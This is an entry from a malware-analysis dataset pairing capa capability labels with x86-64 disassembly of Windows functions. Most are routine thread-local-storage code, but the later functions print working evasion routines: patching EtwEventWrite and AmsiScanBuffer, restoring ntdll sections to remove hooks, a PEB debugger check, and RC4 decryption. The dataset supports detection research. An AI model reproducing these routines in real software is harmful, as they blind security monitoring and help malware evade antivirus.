joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14001b550
Capabilities:
Set thread local storage value

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x48
call fcn.14001b250
cmp qword [0x1400c8048], 0
mov rbx, rax
je 0x14001b668
test rax, rax
je 0x14001b668
mov dword [rax + 0x44], 1
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
mov edx, 1
mov dword [rbx + 0x70], eax
call qword [sym.imp.KERNEL32.dll_CreateEventA]
mov qword [rbx + 0x38], 0xffffffffffffffff
lea rcx, [rbx + 0x68]
mov qword [rbx + 0x30], rax
call fcn.14001e810
cmp eax, 1
je 0x14001b676
mov rbp, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rbx + 0x68], 0xffffffffffffffff
mov dword [rbx + 0xb8], 0
mov qword [rbx + 0x28], 0
call rbp
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov rsi, rax
call rbp
mov dword [rsp + 0x30], 2
mov r8, rdi
mov rdx, rsi
mov dword [rsp + 0x28], 0
lea r9, [rbx + 0x28]
mov rcx, rax
mov dword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_DuplicateHandle]
test eax, eax
je fcn.14001fefc
mov rcx, qword [rbx + 0x28]
call qword [sym.imp.KERNEL32.dll_GetThreadPriority]
mov ecx, dword [0x140020678]
mov rdx, rbx
mov dword [rbx + 0xbc], 0
mov dword [rbx + 0xc0], eax
movzx eax, byte [rbx + 0x40]
and eax, 0xffffffcf
or eax, 0x10
mov byte [rbx + 0x40], al
call qword [sym.imp.KERNEL32.dll_TlsSetValue]
test eax, eax
je 0x14001b67c
mov rax, rbx
add rsp, 0x48
pop rbx
pop rsi
pop rdi
pop rbp
ret
xor ebx, ebx
mov rax, rbx
add rsp, 0x48
pop rbx
pop rsi
pop rdi
pop rbp
ret
call fcn.14001b020
nop
jmp fcn.14001fefc

Function at 0x14001b690
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
sub rsp, 0x28
call fcn.14001b4a0
mov ecx, dword [0x140020678]
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
test rax, rax
je 0x14001b6b0
add rsp, 0x28
ret
add rsp, 0x28
jmp fcn.14001b550
Function at 0x14001c2a0
Capabilities:
Get thread local storage value

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x38
movaps xmmword [rsp + 0x20], xmm6
mov esi, ecx
mov r12, rdx
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebp, eax
call fcn.14001b4a0
mov ecx, dword [0x140020678]
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
test rax, rax
mov rbx, rax
je 0x14001c3b0
lea r14, [rbx + 0x68]
mov rcx, r14
call fcn.14001e820
cmp esi, dword [rbx + 0x48]
jae 0x14001c330
mov rdi, qword [rbx + 0x50]
mov qword [rdi + rsi*8], r12
mov rax, qword [rbx + 0x58]
mov rcx, r14
mov byte [rax + rsi], 1
call fcn.14001e860
mov ecx, ebp
call qword [sym.imp.KERNEL32.dll_SetLastError]
xor eax, eax
movaps xmm6, xmmword [rsp + 0x20]
add rsp, 0x38
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret
mov rcx, qword [rbx + 0x50]
lea r15d, [rsi + 1]
movsxd r13, r15d
lea rdx, [r13*8]
call sub.api_ms_win_crt_heap_l1_1_0.dll_realloc
test rax, rax
mov rdi, rax
je 0x14001c3bd
mov rcx, qword [rbx + 0x58]
mov rdx, r13
movq xmm6, rdi
call sub.api_ms_win_crt_heap_l1_1_0.dll_realloc
movq xmm0, rax
test rax, rax
mov r13, rax
punpcklqdq xmm6, xmm0
je 0x14001c3bd
mov eax, dword [rbx + 0x48]
mov edx, r15d
lea rcx, [rdi + rax*8]
sub edx, eax
lea r8, [rdx*8]
xor edx, edx
call sub.api_ms_win_crt_string_l1_1_0.dll_memset
mov edx, dword [rbx + 0x48]
mov r8d, r15d
lea rcx, [r13 + rdx]
sub r8d, edx
xor edx, edx
call sub.api_ms_win_crt_string_l1_1_0.dll_memset
movaps xmmword [rbx + 0x50], xmm6
mov dword [rbx + 0x48], r15d
jmp 0x14001c2f4
call fcn.14001b550
mov rbx, rax
jmp 0x14001c2df
mov rcx, r14
call fcn.14001e860
mov eax, 0xc
jmp 0x14001c312

Function at 0x14001c440
Capabilities:
Get thread local storage value

Disassembly:
sub rsp, 0x28
call fcn.14001b4a0
mov ecx, dword [0x140020678]
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
test rax, rax
je 0x14001c468
mov rax, qword [rax + 0x30]
add rsp, 0x28
ret
call fcn.14001b550
test rax, rax
jne 0x14001c45a
add rsp, 0x28
ret

Function at 0x14001c4d0
Capabilities:
Get thread local storage value

Disassembly:
sub rsp, 0x28
call fcn.14001b4a0
mov ecx, dword [0x140020678]
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
test rax, rax
je 0x14001c4f8
add rax, 0x18
add rsp, 0x28
ret
call fcn.14001b550
test rax, rax
jne 0x14001c4ea
jmp 0x14001c4ee

Function at 0x14001c610
Capabilities:
Get thread local storage value

Disassembly:
sub rsp, 0x28
mov eax, dword [0x1400c5658]
test eax, eax
jne 0x14001c628
xor eax, eax
add rsp, 0x28
ret
call fcn.14001b4a0
mov ecx, dword [0x140020678]
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
test rax, rax
je 0x14001c658
mov edx, dword [rax + 0x20]
test edx, edx
jg 0x14001c61e
test byte [rax + 0x40], 3
je 0x14001c61e
mov eax, dword [rax + 0x44]
and eax, 1
jmp 0x14001c620
call fcn.14001b550
test rax, rax
jne 0x14001c63e
jmp 0x14001c61e
Function at 0x14001c670
Capabilities:
Get thread local storage value

Disassembly:
push rbx
sub rsp, 0x20
mov ebx, ecx
call fcn.14001b4a0
mov ecx, dword [0x140020678]
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
test rax, rax
je 0x14001c6b0
test ebx, ebx
jle 0x14001c6a0
lock add dword [rax + 0x20], 1
add rsp, 0x20
pop rbx
ret
lock sub dword [rax + 0x20], 1
add rsp, 0x20
pop rbx
ret
call fcn.14001b550
test rax, rax
jne 0x14001c68d
add rsp, 0x20
pop rbx
ret

Function at 0x14001c7a0
Capabilities:
Get thread local storage value

Disassembly:
push rsi
push rbx
sub rsp, 0x28
call fcn.14001b4a0
mov ecx, dword [0x140020678]
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
test rax, rax
mov rbx, rax
je 0x14001c818
test byte [rbx + 0x40], 0xc
jne 0x14001c7cf
mov eax, dword [0x1400c5658]
test eax, eax
jne 0x14001c7e0
add rsp, 0x28
pop rbx
pop rsi
ret
lea rsi, [rbx + 0x38]
mov rcx, rsi
call fcn.14001a720
movzx eax, byte [rbx + 0x40]
test al, 3
je 0x14001c803
mov edx, dword [rbx + 0x44]
test dl, 1
je 0x14001c803
mov ecx, dword [rbx + 0x20]
test ecx, ecx
jle 0x14001c82c
mov rcx, rsi
add rsp, 0x28
pop rbx
pop rsi
jmp fcn.14001aa10
call fcn.14001b550
test rax, rax
mov rbx, rax
jne 0x14001c7bf
add rsp, 0x28
pop rbx
pop rsi
ret
mov rcx, qword [rbx + 0x30]
and eax, 0xfffffff3
and edx, 0xfffffffe
or eax, 4
mov dword [rbx + 0x44], edx
mov byte [rbx + 0x40], al
test rcx, rcx
je 0x14001c84a
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rcx, rsi
call fcn.14001aa10
call fcn.14001c6c0
nop
nop dword [rax + rax]
push rdi
push rsi
push rbx
sub rsp, 0x20
test rcx, rcx
je 0x14001c8d0
call fcn.14001d9b0
mov rsi, rax
mov eax, 0xfffffffe
cmp rax, rsi
jb 0x14001c908
call fcn.14001b4a0
mov ecx, dword [0x140020678]
mov edi, esi
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
test rax, rax
mov rbx, rax
je 0x14001c960
test esi, esi
je 0x14001c8e6
call fcn.14001c7a0
mov rcx, qword [rbx + 0x30]
test rcx, rcx
je 0x14001c940
mov edx, edi
call fcn.14001da60
call fcn.14001c7a0
xor eax, eax
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret
call fcn.14001b4a0
mov ecx, dword [0x140020678]
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
test rax, rax
je 0x14001c950
call fcn.14001c7a0
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_Sleep]
call fcn.14001c7a0
xor eax, eax
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret
call fcn.14001b4a0
mov ecx, dword [0x140020678]
mov edi, 0xffffffff
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
test rax, rax
mov rbx, rax
jne 0x14001c8a5
call fcn.14001b550
mov rbx, rax
jmp 0x14001c8a5
mov ecx, edi
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x14001c8be
call fcn.14001b550
jmp 0x14001c8e6
call fcn.14001b550
mov rbx, rax
jmp 0x14001c8a1
Function at 0x14001c860
Capabilities:
Get thread local storage value

Disassembly:
push rsi
push rbx
sub rsp, 0x28
call fcn.14001b4a0
mov ecx, dword [0x140020678]
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
test rax, rax
mov rbx, rax
je 0x14001c818
test byte [rbx + 0x40], 0xc
jne 0x14001c7cf
mov eax, dword [0x1400c5658]
test eax, eax
jne 0x14001c7e0
add rsp, 0x28
pop rbx
pop rsi
ret
lea rsi, [rbx + 0x38]
mov rcx, rsi
call fcn.14001a720
movzx eax, byte [rbx + 0x40]
test al, 3
je 0x14001c803
mov edx, dword [rbx + 0x44]
test dl, 1
je 0x14001c803
mov ecx, dword [rbx + 0x20]
test ecx, ecx
jle 0x14001c82c
mov rcx, rsi
add rsp, 0x28
pop rbx
pop rsi
jmp fcn.14001aa10
call fcn.14001b550
test rax, rax
mov rbx, rax
jne 0x14001c7bf
add rsp, 0x28
pop rbx
pop rsi
ret
mov rcx, qword [rbx + 0x30]
and eax, 0xfffffff3
and edx, 0xfffffffe
or eax, 4
mov dword [rbx + 0x44], edx
mov byte [rbx + 0x40], al
test rcx, rcx
je 0x14001c84a
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rcx, rsi
call fcn.14001aa10
call fcn.14001c6c0
nop
nop dword [rax + rax]
push rdi
push rsi
push rbx
sub rsp, 0x20
test rcx, rcx
je 0x14001c8d0
call fcn.14001d9b0
mov rsi, rax
mov eax, 0xfffffffe
cmp rax, rsi
jb 0x14001c908
call fcn.14001b4a0
mov ecx, dword [0x140020678]
mov edi, esi
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
test rax, rax
mov rbx, rax
je 0x14001c960
test esi, esi
je 0x14001c8e6
call fcn.14001c7a0
mov rcx, qword [rbx + 0x30]
test rcx, rcx
je 0x14001c940
mov edx, edi
call fcn.14001da60
call fcn.14001c7a0
xor eax, eax
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret
call fcn.14001b4a0
mov ecx, dword [0x140020678]
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
test rax, rax
je 0x14001c950
call fcn.14001c7a0
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_Sleep]
call fcn.14001c7a0
xor eax, eax
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret
call fcn.14001b4a0
mov ecx, dword [0x140020678]
mov edi, 0xffffffff
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
test rax, rax
mov rbx, rax
jne 0x14001c8a5
call fcn.14001b550
mov rbx, rax
jmp 0x14001c8a5
mov ecx, edi
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x14001c8be
call fcn.14001b550
jmp 0x14001c8e6
call fcn.14001b550
mov rbx, rax
jmp 0x14001c8a1

Function at 0x14001c970
Capabilities:
Get thread local storage value

Disassembly:
push rsi
push rbx
sub rsp, 0x28
mov esi, ecx
call fcn.14001b4a0
mov ecx, dword [0x140020678]
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
test rax, rax
mov rbx, rax
je 0x14001c9e0
test esi, esi
je 0x14001c9c0
call fcn.14001c7a0
mov rcx, qword [rbx + 0x30]
test rcx, rcx
je 0x14001c9f0
mov edx, esi
call fcn.14001da60
call fcn.14001c7a0
xor eax, eax
add rsp, 0x28
pop rbx
pop rsi
ret
call fcn.14001c7a0
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_Sleep]
call fcn.14001c7a0
xor eax, eax
add rsp, 0x28
pop rbx
pop rsi
ret
call fcn.14001b550
mov rbx, rax
jmp 0x14001c991
mov ecx, esi
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x14001c9aa
Function at 0x180001000
Capabilities:
Access peb ldr_data

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x20], rsi
mov qword [rsp + 0x18], r8
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x20
mov rax, qword gs:[0x60]
xor r13d, r13d
mov r14, rcx
mov rsi, qword [rax + 0x68]
lea r15, [rdx + 8]
cmp dword [rsi + 0xc], r13d
jbe 0x1800010ca
lea r12, [rsi + 0x18]
nop word [rax + rax]
mov ecx, dword [r12 - 4]
mov r8d, dword [r12]
mov rdx, r15
add rcx, rsi
shr r8, 1
call fcn.180002cf0
test eax, eax
jne 0x1800010bd
mov ecx, dword [r12 + 0xc]
add rcx, rsi
mov eax, dword [rcx + 4]
dec eax
movsxd rbx, eax
js 0x1800010bd
lea rax, [rbx + rbx*4]
lea rdi, [rcx + rax*4 + 0x10]
nop word [rax + rax]
mov ecx, dword [rdi - 4]
mov ebp, dword [rdi + 4]
mov eax, dword [rdi]
add rcx, rsi
add rbp, rsi
test eax, eax
je 0x1800010e9
mov r8d, eax
mov rdx, r14
shr r8, 1
call fcn.180002cf0
test eax, eax
je 0x1800010e9
sub rdi, 0x14
dec rbx
jns 0x180001090
inc r13d
add r12, 0x18
cmp r13d, dword [rsi + 0xc]
jb 0x180001050
xor eax, eax
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x68]
add rsp, 0x20
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
mov rax, qword [rsp + 0x60]
mov ecx, dword [rdi + 8]
shr rcx, 1
mov qword [rax], rcx
mov rax, rbp
jmp 0x1800010cc

Function at 0x180001100
Capabilities:
Access peb ldr_data

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x20], rsi
mov qword [rsp + 0x18], r8
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x20
mov rax, qword gs:[0x60]
xor r13d, r13d
mov r14, rcx
mov rsi, qword [rax + 0x68]
lea r15, [rdx + 8]
cmp dword [rsi + 4], r13d
jbe 0x1800011ca
lea r12, [rsi + 0x10]
nop word [rax + rax]
mov ecx, dword [r12 - 8]
mov r8d, dword [r12 - 4]
mov rdx, r15
add rcx, rsi
shr r8, 1
call fcn.180002cf0
test eax, eax
jne 0x1800011bd
mov ecx, dword [r12]
add rcx, rsi
mov eax, dword [rcx]
dec eax
movsxd rbx, eax
js 0x1800011bd
mov rax, rbx
add rax, rax
lea rdi, [rcx + rax*8 + 8]
nop word [rax + rax]
mov ecx, dword [rdi - 4]
mov ebp, dword [rdi + 4]
mov eax, dword [rdi]
add rcx, rsi
add rbp, rsi
test eax, eax
je 0x1800011e9
mov r8d, eax
mov rdx, r14
shr r8, 1
call fcn.180002cf0
test eax, eax
je 0x1800011e9
sub rdi, 0x10
dec rbx
jns 0x180001190
inc r13d
add r12, 0xc
cmp r13d, dword [rsi + 4]
jb 0x180001150
xor eax, eax
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x68]
add rsp, 0x20
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
mov rax, qword [rsp + 0x60]
mov ecx, dword [rdi + 8]
shr rcx, 1
mov qword [rax], rcx
mov rax, rbp
jmp 0x1800011cc
Function at 0x180001200
Capabilities:
Access peb ldr_data
Get kernel32 base address

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
sub rsp, 0x20
mov rax, qword gs:[0x60]
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x38], rdi
mov rcx, qword [rax + 0x18]
mov qword [rsp + 0x40], r12
mov rbp, qword [rcx + 0x20]
mov rbx, rbp
nop dword [rax]
cmp word [rbx + 0x38], 2
jbe 0x18000127a
mov rcx, qword [rbx + 0x40]
mov rdi, qword [rbx + 0x50]
mov rsi, qword [rbx + 0x20]
test rcx, rcx
je 0x180001282
mov r8, rsi
mov rdx, rdi
call fcn.1800012a0
mov r12, rax
test rax, rax
je 0x18000127a
mov r8, rdi
mov rdx, rsi
mov rcx, rax
call fcn.180001870
xor edx, edx
mov r8d, 0x8000
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov rbx, qword [rbx]
cmp rbx, rbp
jne 0x180001230
mov r12, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x30]
mov rbx, qword [rsp + 0x48]
add rsp, 0x20
pop rbp
ret
Function at 0x1800017f0
Capabilities:
Access peb ldr_data

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
mov rax, qword gs:[0x60]
mov rsi, rcx
mov rdx, qword [rax + 0x18]
mov rdi, qword [rdx + 0x20]
mov rbx, rdi
cmp word [rbx + 0x38], 2
jbe 0x180001835
movzx r8d, word [rbx + 0x48]
mov rdx, qword [rbx + 0x50]
mov rcx, rsi
shr r8, 1
call fcn.180002cf0
test eax, eax
je 0x180001856
mov rbx, qword [rbx]
cmp rbx, rdi
jne 0x180001816
mov rcx, rsi
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
jmp qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rax, qword [rbx + 0x20]
mov rsi, qword [rsp + 0x38]
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret

Function at 0x180001870
Capabilities:
Allocate or change rwx memory

Disassembly:
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
push rbx
push rsi
push rdi
push r13
push r14
push r15
sub rsp, 0x38
movsxd r14, dword [rcx + 0x3c]
mov rsi, r8
mov r13, rdx
mov ebx, dword [r14 + rcx + 0x54]
mov r15, rcx
mov r8d, ebx
call fcn.1800078e0
test eax, eax
je 0x1800018e6
lea r9, [rsp + 0x70]
mov r8d, 0x40
mov edx, ebx
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x1800018e6
mov r8d, dword [rsp + 0x70]
mov rdi, r13
mov rsi, r15
mov ecx, ebx
lea r9, [rsp + 0x70]
mov edx, ebx
rep movsb byte [rdi], byte [rsi]
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov rsi, qword [rsp + 0x80]
movsxd rax, dword [r15 + 0x3c]
xor ebx, ebx
lea rdx, [rax + r15 + 0x108]
mov qword [rsp + 0x88], rdx
cmp bx, word [r14 + r15 + 6]
jae 0x1800019e2
mov qword [rsp + 0x30], rbp
lea rbp, [rdx + 0xc]
mov qword [rsp + 0x28], r12
nop word [rax + rax]
test dword [rbp + 0x18], 0x80000000
jne 0x1800019bc
lea rdi, str.clr.dll
mov ecx, 8
repe cmpsw word [rsi], word [rdi]
jne 0x180001956
lea rcx, [rbx + rbx*4]
lea rdi, str..text
lea rsi, [rdx + rcx*8]
mov ecx, 6
repe cmpsb byte [rsi], byte [rdi]
je 0x1800019bc
mov eax, dword [rbp]
mov r12d, dword [rbp - 4]
lea rsi, [rax + r15]
add r13, rax
mov r8d, r12d
mov rcx, rsi
mov rdx, r13
call fcn.1800078e0
test eax, eax
je 0x1800019af
lea r9, [rsp + 0x70]
mov r8d, 0x40
mov edx, r12d
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x1800019af
mov r8d, dword [rsp + 0x70]
mov rdi, r13
mov ecx, r12d
rep movsb byte [rdi], byte [rsi]
lea r9, [rsp + 0x70]
mov edx, r12d
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov r13, qword [rsp + 0x78]
mov rdx, qword [rsp + 0x88]
movzx eax, word [r14 + r15 + 6]
mov rsi, qword [rsp + 0x80]
inc ebx
add rbp, 0x28
cmp ebx, eax
jb 0x180001920
mov r12, qword [rsp + 0x28]
mov rbp, qword [rsp + 0x30]
add rsp, 0x38
pop r15
pop r14
pop r13
pop rdi
pop rsi
pop rbx
ret
Function at 0x180001d40
Capabilities:
Allocate or change rwx memory
Contain obfuscated stackstrings
Patch event tracing for windows function

Disassembly:
sub rsp, 0x58
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x48], rax
lea rcx, [rsp + 0x38]
mov byte [rsp + 0x30], 0xc3
mov dword [rsp + 0x38], 0x6c64746e
mov dword [rsp + 0x3c], 0x6c642e6c
mov word [rsp + 0x40], 0x6c
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test rax, rax
je 0x180001e12
lea rdx, str.EtwEventWrite
mov rcx, rax
mov qword [rsp + 0x50], rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov r9d, 0x40
mov rcx, rax
lea rax, [rsp + 0x34]
lea r8d, [r9 - 0x3f]
mov rdx, rbx
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r8, [rsp + 0x30]
mov rcx, rax
mov r9d, 1
mov rdx, rbx
mov qword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov r9d, dword [rsp + 0x34]
mov rcx, rax
mov r8d, 1
mov rdx, rbx
mov qword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
mov rbx, qword [rsp + 0x50]
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.180002a90
add rsp, 0x58
ret

Function at 0x180001e30
Capabilities:
Allocate or change rwx memory
Patch antimalware scan interface function

Disassembly:
sub rsp, 0x58
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x48], rax
lea rcx, [rsp + 0x38]
mov byte [rsp + 0x30], 0xc3
mov dword [rsp + 0x38], 0x69736d61
mov dword [rsp + 0x3c], 0x6c6c642e
mov byte [rsp + 0x40], 0
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test rax, rax
je 0x180001f00
lea rdx, str.AmsiScanBuffer
mov rcx, rax
mov qword [rsp + 0x50], rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov r9d, 0x40
mov rcx, rax
lea rax, [rsp + 0x34]
lea r8d, [r9 - 0x3f]
mov rdx, rbx
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r8, [rsp + 0x30]
mov rcx, rax
mov r9d, 1
mov rdx, rbx
mov qword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov r9d, dword [rsp + 0x34]
mov rcx, rax
mov r8d, 1
mov rdx, rbx
mov qword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
mov rbx, qword [rsp + 0x50]
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.180002a90
add rsp, 0x58
ret
Function at 0x180001fd0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x130
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x120], rax
mov rbx, qword [0x18000efc0]
mov rdi, rcx
lea rcx, [rsp + 0x21]
xor edx, edx
mov r8d, 0xff
mov byte [rsp + 0x20], 0
call fcn.180006770
lea rcx, [rsp + 0x20]
call fcn.180001f20
movsxd r10, dword [0x18000efd8]
xor r11d, r11d
mov edx, r11d
test r10, r10
jle 0x1800020ab
sub rdi, rbx
nop
inc r11d
and r11d, 0x800000ff
jge 0x180002049
dec r11d
or r11d, 0xffffff00
inc r11d
movsxd r8, r11d
movzx r9d, byte [rsp + r8 + 0x20]
add edx, r9d
and edx, 0x800000ff
jge 0x180002067
dec edx
or edx, 0xffffff00
inc edx
movsxd rcx, edx
movzx eax, byte [rsp + rcx + 0x20]
mov byte [rsp + r8 + 0x20], al
mov byte [rsp + rcx + 0x20], r9b
movzx ecx, byte [rsp + r8 + 0x20]
add ecx, r9d
and ecx, 0x800000ff
jge 0x180002094
dec ecx
or ecx, 0xffffff00
inc ecx
movsxd rax, ecx
inc rbx
movzx ecx, byte [rsp + rax + 0x20]
xor cl, byte [rdi + rbx - 1]
dec r10
mov byte [rbx - 1], cl
jne 0x180002030
mov rcx, qword [rsp + 0x120]
xor rcx, rsp
call fcn.180002a90
mov rbx, qword [rsp + 0x140]
add rsp, 0x130
pop rdi
ret

Function at 0x180002440
Capabilities:
Check for peb beingdebugged flag
Create thread

Disassembly:
push rbx
sub rsp, 0x40
mov rax, qword gs:[0x60]
cmp byte [rax + 2], 0
jne 0x180002510
cmp dword [rax + 0xbc], 0
jne 0x180002510
xor ebx, ebx
lea rcx, str.ntdll
mov qword [rsp + 0x30], rbx
mov qword [rsp + 0x38], rbx
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea rdx, str.NtSetInformationProcess
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea r9d, [rbx + 0x10]
lea r8, [rsp + 0x30]
lea edx, [rbx + 0x28]
or rcx, 0xffffffffffffffff
call rax
call fcn.180001200
call fcn.180001d40
call fcn.180001e30
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
lea r8, [0x1800026d0]
xor r9d, r9d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x28], rbx
mov qword [0x18000efd0], rax
mov dword [rsp + 0x20], ebx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rcx, rax
mov qword [0x18000efc8], rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [0x18000efd0]
or edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
xor ecx, ecx
call fcn.1800034e8
int3
jmp 0x180002510

Function at 0x1800034e8
Capabilities:
Terminate process

Disassembly:
xor r8d, r8d
xor edx, edx
jmp fcn.180003358
Function at 0x18000388f
Capabilities:
Terminate process

Disassembly:
cmp rcx, qword [section..data]
jne 0x180002aaa
rol rcx, 0x10
test cx, 0xffff
jne 0x180002aa6
repz ret
ror rcx, 0x10
jmp 0x1800037e8
mov qword [rsp + 8], rcx
sub rsp, 0x88
lea rcx, [0x18000e0c0]
call qword [sym.imp.KERNEL32.dll_RtlCaptureContext]
mov rax, qword [0x18000e1b8]
mov qword [rsp + 0x58], rax
xor r8d, r8d
lea rdx, [rsp + 0x60]
mov rcx, qword [rsp + 0x58]
call sub.KERNEL32.dll_RtlLookupFunctionEntry
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
je 0x18000386d
mov qword [rsp + 0x38], 0
lea rax, [rsp + 0x48]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rax
lea rax, [0x18000e0c0]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x50]
mov r8, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x60]
xor ecx, ecx
call sub.KERNEL32.dll_RtlVirtualUnwind
jmp 0x18000388f
mov rax, qword [rsp + 0x88]
mov qword [0x18000e1b8], rax
lea rax, [rsp + 0x88]
add rax, 8
mov qword [0x18000e158], rax
mov rax, qword [0x18000e1b8]
mov qword [0x18000e030], rax
mov rax, qword [rsp + 0x90]
mov qword [0x18000e140], rax
mov dword [0x18000e020], 0xc0000409
mov dword [0x18000e024], 1
mov rax, qword [section..data]
mov qword [rsp + 0x68], rax
mov rax, qword [0x18000d008]
mov qword [rsp + 0x70], rax
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
mov dword [0x18000e0b8], eax
mov ecx, 1
call fcn.18000674c
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
lea rcx, [0x180009320]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
cmp dword [0x18000e0b8], 0
jne 0x180003916
mov ecx, 1
call fcn.18000674c
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x88
ret